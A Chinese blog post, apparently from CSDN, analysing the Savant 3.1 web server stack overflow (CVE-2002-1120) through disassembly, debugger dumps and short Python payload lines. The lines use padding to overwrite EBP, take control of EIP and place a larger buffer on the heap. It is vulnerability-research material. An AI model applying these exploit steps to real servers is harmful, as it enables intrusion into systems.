Savant 3.1 (CVE-2002-1120)

补一下之前的坑

1.总览

关键调用点有2个. 1: j_Recv_Data_Unpack 2: j_File_Handler

.text:0040BE00 ; int __cdecl Socket_Handle(int, int, int, int, int, int, int, int)
.text:0040BE00 ; ---------------------------------------------------------------------------
.text:0040BE63 loc_40BE63:                             ; CODE XREF: Socket_Handle+11A↓j
.text:0040BE63                 lea     eax, [ebp+String1]
.text:0040BE69                 push    eax             ; lpsz
.text:0040BE6A                 lea     ecx, [ebp+var_2C]
.text:0040BE6D                 push    ecx             ; int
.text:0040BE6E                 call    ==j_Recv_Data_Unpack== ;接收原始数据并解析数据包
.text:0040BE73                 add     esp, 8
.text:0040BE76                 mov     [ebp+var_4], eax
.text:0040BE79                 mov     edx, [ebp+var_4]
.text:0040BE7C                 mov     [ebp+var_141C], edx
.text:0040BE82                 mov     eax, [ebp+var_141C]
.text:0040BE88                 add     eax, 1          ; switch 4 cases
.text:0040BE8B                 mov     [ebp+var_141C], eax ; eax = 2
.text:0040BE91                 cmp     [ebp+var_141C], 3
.text:0040BE98                 ja      short def_40BEA0 ; jumptable 0040BEA0 default case
.text:0040BE9A                 mov     ecx, [ebp+var_141C]
.text:0040BEA0                 jmp     ds:jpt_40BEA0[ecx*4] ; switch jump
.text:0040BEA7 ; ---------------------------------------------------------------------------
.text:0040BEA7
.text:0040BEA7 loc_40BEA7:                             ; CODE XREF: Socket_Handle+A0↑j
.text:0040BEA7                                         ; DATA XREF: .text:jpt_40BEA0↓o
.text:0040BEA7                 lea     edx, [ebp+String1] ; jumptable 0040BEA0 case 1
.text:0040BEAD                 push    edx             ; String1
.text:0040BEAE                 lea     eax, [ebp+var_2C]
.text:0040BEB1                 push    eax             ; int
.text:0040BEB2                 call    ==j_File_Handler== ;数据包功能处理
.text:0040BEB7                 add     esp, 8
.text:0040BEBA                 mov     [ebp+var_8], 0
.text:0040BEC1                 jmp     short def_40BEA0 ; jumptable 0040BEA0 default case

2. Recv_Data_Unpack 数据处理流程

.text:00406463                 mov     ecx, [ebp+arg_0]
.text:00406466                 mov     edx, [ecx]
.text:00406468                 push    edx             ; int
.text:00406469                 lea     eax, [ebp+var_6E0]
.text:0040646F                 push    eax             ; int
.text:00406470                 lea     ecx, [ebp+var_6DC]
.text:00406476                 push    ecx             ; int
.text:00406477                 mov     edx, [ebp+arg_0]
.text:0040647A                 mov     eax, [edx+8]
.text:0040647D                 push    eax             ; len = 4000H
.text:0040647E                 mov     ecx, [ebp+arg_0]
.text:00406481                 mov     edx, [ecx+4]
.text:00406484                 push    edx             ; buf
.text:00406485                 mov     eax, [ebp+arg_0]
.text:00406488                 mov     ecx, [eax+0Ch]
.text:0040648B                 push    ecx             ; s
.text:0040648C                 lea     edx, [ebp+Destination]
.text:00406492                 push    edx             ; int
.text:00406493                 call    ==j_Recv_Check== ;接收原始数据并初步处理
2.1 Recv_Check 数据处理流程

2.1.1 调用包装函数recv_wrap:

.text:00414440                 mov     ecx, [ebp+len]
.text:00414443                 push    ecx             ; len
.text:00414444                 mov     edx, [ebp+buf]
.text:00414447                 push    edx             ; buf
.text:00414448                 mov     eax, [ebp+s]
.text:0041444B                 push    eax             ; s
.text:0041444C                 call    j_recv_wrap

2.1.2 调用系统函数recv接收原始数据:

.text:00414348                 push    0               ; flags
.text:0041434A                 mov     ecx, [ebp+len]
.text:0041434D                 push    ecx             ; len
.text:0041434E                 mov     edx, [ebp+buf]
.text:00414351                 push    edx             ; buf
.text:00414352                 mov     eax, [ebp+s]
.text:00414355                 push    eax             ; s
.text:00414356                 call    recv
.text:0041435B                 mov     [ebp+wsock32_recv], eax
.text:00414361                 cmp     [ebp+wsock32_recv], 0
.text:00414368                 jnz     short loc_41436F
.text:0041436A                 or      eax, 0FFFFFFFFh
.text:0041436D                 jmp     short loc_4143D6

2.1.3 循环复制原始数据并判断结束标识\r\n:
2.1.4 判断数据大小在12CH以内.

.text:004144C9                 cmp     [ebp+count], 12Ch
.text:004144D0                 jnz     short loc_4144E4
.text:004144D2                 push    offset aTcpBufferOverf ; "TCP buffer overflow"
.text:004144D7                 call    sub_4011B3
.text:004144DC                 add     esp, 4
.text:004144DF                 or      eax, 0FFFFFFFFh
.text:004144E2                 jmp     short loc_4144EF
2.2 进一步处理数据

用’/'分割数据(数据头,数据体)拷贝到局部变量

.text:00406535                 mov     [ebp+var_6E4], 0
.text:0040653F                 lea     edx, [ebp+var_6E8]
.text:00406545                 push    edx             ; int
.text:00406546                 mov     eax, [ebp+var_6E4]
.text:0040654C                 push    eax             ; int
.text:0040654D                 lea     ecx, [ebp+Destination]
.text:00406553                 push    ecx             ; int
.text:00406554                 mov     edx, [ebp+lpsz]
.text:00406557                 push    edx             ; void *
.text:00406558                 call    sub_401005      
.text:0040655D                 add     esp, 10h
.text:00406560                 mov     eax, [ebp+lpsz]
.text:00406563                 push    eax             ; lpsz
.text:00406564                 call    ds:__imp_CharUpperA
.text:0040656A                 lea     ecx, [ebp+var_6E4]
.text:00406570                 push    ecx             ; int
.text:00406571                 lea     edx, [ebp+Destination]
.text:00406577                 push    edx             ; Str
.text:00406578                 mov     eax, [ebp+lpsz]
.text:0040657B                 add     eax, 218h
.text:00406580                 push    eax             ; void *
.text:00406581                 call    sub_40125D
.text:00406586                 add     esp, 0Ch
.text:00406589                 mov     ecx, [ebp+lpsz]
.text:0040658C                 add     ecx, 218h
.text:00406592                 push    ecx             ; lpsz
.text:00406593                 call    ds:__imp_CharUpperA
2.3 进行HTTP头信息处理

因为发送的数据包不包含完整的HTTP头信息,所以jz不会生效.

.text:00406599                 push    5               ; MaxCount
.text:0040659B                 push    offset aHttp_0  ; "HTTP/"
.text:004065A0                 mov     edx, [ebp+lpsz]
.text:004065A3                 add     edx, 218h
.text:004065A9                 push    edx             ; Str1
.text:004065AA                 call    _strncmp
.text:004065AF                 add     esp, 0Ch
.text:004065B2                 test    eax, eax
.text:004065B4                 jz      short loc_4065F6
2.4 再次进行数据处理

将数据只保存数据体.
EAX返回值决定了逻辑处理时的跳转

.text:004065B6                 lea     eax, [ebp+Destination]
.text:004065BC                 push    eax             ; Str
.text:004065BD                 call    _strlen
.text:004065C2                 add     esp, 4
.text:004065C5                 add     eax, 1
.text:004065C8                 sub     eax, [ebp+var_6E8]
.text:004065CE                 push    eax             ; Size
.text:004065CF                 mov     ecx, [ebp+var_6E8]
.text:004065D5                 lea     edx, [ebp+ecx+Destination]
.text:004065DC                 push    edx             ; Src
.text:004065DD                 mov     eax, [ebp+lpsz]
.text:004065E0                 add     eax, 18h
.text:004065E3                 push    eax             ; void *
.text:004065E4                 call    _memcpy
.text:004065E9                 add     esp, 0Ch
.text:004065EC                 mov     eax, 1
.text:004065F1                 jmp     loc_406F59

3. File_Handler 数据处理流程

3.1 获取文件名
.text:0040BFAC                 lea     eax, [ebp+var_320]
.text:0040BFB2                 push    eax             ; int
.text:0040BFB3                 lea     ecx, [ebp+var_4]
.text:0040BFB6                 push    ecx             ; int
.text:0040BFB7                 lea     edx, [ebp+FileName]
.text:0040BFBD                 push    edx             ; char *
.text:0040BFBE                 lea     eax, [ebp+var_310]
.text:0040BFC4                 push    eax             ; char *
.text:0040BFC5                 lea     ecx, [ebp+Destination]
.text:0040BFCB                 push    ecx             ; Destination
.text:0040BFCC                 mov     edx, [ebp+String1]
.text:0040BFCF                 push    edx             ; int
.text:0040BFD0                 mov     eax, [ebp+arg_0]
.text:0040BFD3                 push    eax             ; int
.text:0040BFD4                 mov     ecx, [ebp+String1]
.text:0040BFD7                 add     ecx, 18h
.text:0040BFDA                 push    ecx             ; Str
.text:0040BFDB                 call    Get_FileName    ;获取文件名
3.2 Get_FileName 溢出产生

3.2.1 FileName = “C:\Savant\Root.”
3.2.2 FileName = “C:\Savant\Root”
3.3.3 FileName = “C:\Savant\Root” + 数据体(去掉起始字符 ‘/’)
3.3.4 在调用Get_FileName时传入的 FileName 只分配了108H的栈空间.此时EBP会被覆盖

.text:0040BFA0 FileName        = byte ptr -108h

3.3.5 此时EBP数据己经被覆盖了

在函数RET前查看一下数据情况:
1. ebp 己经被覆盖.
2. ebp + C 是原始数据.

eax=00000000 ebx=00492cc8 ecx=00437f84 edx=03f52e5c esi=00492cc8 edi=0041703c
eip=00411abe esp=03f5e694 ebp=03f5ea24 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
Savant+0x11abe:
00411abe c3              ret
0:007> dds ebp L3
03f5ea24  41414141
03f5ea28  00414141 Savant+0x14141
03f5ea2c  03f5fe70


0:007> db poi(ebp+c) 
03f5ea84  47 45 54 00 00 00 00 00-00 00 00 00 00 00 00 00  GET.............
03f5ea94  00 00 00 00 00 00 00 00-2f 41 41 41 41 41 41 41  ......../AAAAAAA
03f5eaa4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
03f5eab4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
03f5eac4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
03f5ead4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
03f5eae4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
03f5eaf4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
3.3 控制EIP

回到 File_Handler 继续执行到函数结束,则会控制EIP.

1. 注意此时ESP的数据,RET执行后EIP = 00414141. 
2. 此时ESP + 4 = 原始数据.

0:007> g
Breakpoint 0 hit
eax=ffffffff ebx=00492cc8 ecx=dd3eb344 edx=00000000 esi=00492cc8 edi=0041703c
eip=0040c108 esp=03f5ea28 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
Savant+0xc108:
0040c108 c3              ret
0:007> dds esp L3
03f5ea28  00414141 Savant+0x14141
03f5ea2c  03f5fe70
03f5ea30  03f5ea84

4. Shellcode 注意点

4.1 控制EIP时注意注入长度
size = 256
buf = b"GET /" + b"\x41" * size + b"\r\n\r\n"
4.1.2 size 下限

溢出长度下限为: 108H - F(C:\Savant\Root) = F9 ;

4.1.2 为什么只溢出7个字符
  1. 大于8个字符时会出现以下情况
.text:0040C05C                 mov     eax, [ebp+8]
.text:0040C05F                 mov     ecx, [eax]
-------------------------------------------------
0:007> dds ebp L8
03f4ea24  41414141
03f4ea28  41414141
03f4ea2c  41414141
-------------------------------------------------
此时程序虽然会异常,但无法控制EIP.

0:007> t
(2184.14e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00582cc8 ecx=46779455 edx=00000000 esi=00582cc8 edi=0041703c
eip=0040c05f esp=03f4e6b8 ebp=03f4ea24 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
Savant+0xc05f:
0040c05f 8b08            mov     ecx,dword ptr [eax]  ds:002b:41414141=????????
  1. 小于4个字节也无法控制EIP. 因为 pop ebp , 所以前4个字节用来占位.
  2. 那后面需要使用RET来控制EIP跳转, 8个字节不是正合适用来存放地址. 参考之前文章: 传送门
4.2 溢出空间太小,需要增大一些

recv 在读取数据时分配了堆空间(4M)来进行存储,所以数据是保存在堆中. 使用方法参考之前文章: 传送门

size = 256
buf = b"GET /" + b"\x41" * size + b"\r\n\r\n" + b"wonderful" + b"\44" * 512
------------------------------------------------------
0:007> s -a 0 L?FFFFFFFF wonderful
043c8186  77 6f 6e 64 65 72 66 75-6c 44 44 44 44 44 44 44  wonderfulDDDDDDD
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值